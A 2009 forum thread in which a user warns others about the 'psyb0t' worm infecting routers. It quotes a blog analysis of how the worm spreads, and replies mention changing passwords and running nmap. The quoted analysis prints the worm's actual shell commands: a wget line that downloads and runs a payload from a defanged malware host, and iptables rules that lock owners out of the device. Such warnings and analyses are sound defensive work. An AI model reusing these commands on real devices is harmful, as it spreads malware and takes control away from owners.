Page 1 of 1

Worm attacking routers, make sure yours is locked down

Posted: Mon Mar 23, 2009 10:52 pm
by jturning
Make sure you don't allow remote access, and you have a good password set. I think those on this forum do, but just in case.

http://dronebl.org/blog/8
We have come across a botnet worm spreading around called "psyb0t". It is notable because, according to my knowledge, it:

* is the first botnet worm to target routers and DSL modems
* contains shellcode for many mipsel devices
* is not targeting PCs or servers
* uses multiple strategies for exploitation, including bruteforce username and password combinations
* harvests usernames and passwords through deep packet inspection
* can scan for exploitable phpMyAdmin and MySQL servers

Vulnerable devices

* any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices).
* possibly others

Infection strategy

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:

# rm -f /var/tmp/udhcpc.env
# wget

If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.

If wget is not present, the bot looks for "busybox ftpget", and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.

# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA

It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.

# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP

This concludes the infection process.
Bugz

Re: Worm attacking routers, make sure yours is locked down

Posted: Tue Mar 24, 2009 1:31 am
by DaveQB
Damn!
I guess the bottom line is, don't have weak passwords whether or not there is a bot doing the rounds.

Re: Worm attacking routers, make sure yours is locked down

Posted: Mon Mar 30, 2009 9:19 am
by eddie
I just changed the pw's on mine and tried to lock down everything I could. Also did an nmap to see what was open. Though I would like to set up a honey pot for grins.